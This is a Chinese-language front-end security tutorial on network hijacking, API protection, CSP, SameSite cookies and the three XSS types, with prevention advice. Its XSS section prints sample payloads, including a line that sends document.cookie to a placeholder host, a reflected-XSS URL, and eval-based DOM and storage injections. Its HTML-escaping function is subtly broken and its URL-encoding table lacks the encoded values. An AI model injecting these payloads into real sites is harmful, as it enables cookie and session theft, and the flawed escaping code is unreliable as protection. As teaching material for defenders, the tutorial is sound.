XSS攻击和CSRF攻击

2021-04-25 本文已影响0人 my木子

前言：随着互联网的高速发展，信息安全问题已经成为企业最为关注的焦点之一，而前端又是引发企业安全问题的高危据点。在移动互联网时代，前端人员除了传统的 XSS、CSRF 等安全问题之外，又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然，浏览器自身也在不断在进化和发展，不断引入 CSP（内容安全策略）、Same-Site Cookies 等新技术来增强安全性，但是仍存在很多潜在的威胁，这需要前端技术人员不断进行“查漏补缺”。

网络（DNS、HTTP）劫持

表现

打开一个正常的网站，电脑的右下角会弹出一些小广告；
打开一个下载链接，并不是自己所需要的东西；
浏览器输入一个网址后回车网页跳转到其他网址的页面。

原理

DNS 劫持
- 浏览器缓存(强缓存、协商缓存)
- 操作系统域名缓存
- 本地 hosts 文件
- 域名服务器（根域名服务器缓存，顶级域名服务器缓存，权威域名服务器缓存）
商场、酒店WIFI，经过路由器时劫持
运营商劫持

办法

对于用户来说，最直接的办法就是投诉运营商；
在html 上加上<meta http-equiv="Cache-Control" content="no-siteapp"> <meta http-equiv="Cache-Control" content="no-transform " />；
使用HTTPS，通过 TLS/SSL 来对数据加密；
在开发的网页中加入代码过滤，大概思路就是用JavaScript代码检查所有的外链是否属于白名单。

非法调用 API

前后端分离时接口暴露出来，为了防止被非法调用，就要做一些措施保证接口的安全性。

办法

HTTPS 可以防止90%的请求截获；
token 有效期可降低风险
重要业务流程（如：转账），可设置二次验证（如：验证指纹或短信验证码）

CSP（内容安全策略）

CSP 的主要目标是减少和报告 XSS 攻击，通常通过 HTTP 头信息或者 meta 元素定义策略。

开启 CSP ，设置HTTP Header 中的 Content-Security-Policy 或者设置 meta 标签

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

弊端

导致Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。

eval("x=10;y=20;document.write(x*y)");

Same-Site Cookies

通过 Cookie 的SameSite属性用来限制第三方 Cookie，从而防止 CSRF 攻击和用户追踪。

Set-Cookie: name=value; HttpOnly;

XSS

跨站脚本攻击（Cross-Site Scripting）简称 XSS，是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如 Cookie、SessionID 等，进而危害数据安全。
为了和 CSS 区分，这里把攻击的第一个字母改成了 X，于是叫做 XSS，X有未知的意思。
XSS 的本质是：恶意代码未经过滤，与网站正常的代码混在一起；浏览器无法分辨哪些脚本是可信的，导致恶意脚本被执行。

<script>alert(document.cookie);</script>

<script> new Image().src="http://xxx.com?cookie="+ document.cookie; </script>

网址URL中特殊字符转义编码

字符	URL编码值
&	`&`
<	`<`
>	`>`
"	`"`
'	`'`
/	`/`

    // HTML 转义
    function htmlEscape(text){ 
        return text.replace(/[<>‘&\/]/g, function(match, pos, originalText){
            switch(match){
                case "<": return "&lt;"; 
                case ">":return "&gt;";
                case "&":return "&amp;"; 
                case "\"":return "&quot;"; 
                case "\'":return "&#x27;"; 
                case "/":return "&#x2F;";
            } 
        }); 
    }

HTML 字符实体 w3c

分类

类型	存储区	插入点	常见
存储型 XSS	后端数据库	HTML	论坛发帖、商品评论、用户私信等
反射型 XSS	URL	HTML	网站搜索、（引导）点击跳转等
DOM 型 XSS	后端数据库/前端存储/URL	前端 JavaScript

DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。

储存型：

localStorage.xss=alert('XSS')

<script>eval(localStorage.xss)</script>

反射型：https://www.xxx.com/product/search?kw=%3Cscript%3Ealert(document.cookie);%3C/script%3E

DOM型:

file:///Users/lc/Desktop/xss/index.html#alert(111)

<script>eval(location.hash.substr(1))</script>

预防

输入过滤
- 过滤或移除特殊的 HTML 标签、 JavaScript 事件，如 <script>、<iframe>、onclick、onfoucs等，防止 HTML 中出现注入，指定黑名单
- 限制输入长度，指定（只能输入字母、数字、下划线等）白名单
输出编码
- 对 HTML 做充分转义
加强
- 设置 http-only 禁用js获取 cookie
- token 验证
- 开启 CSP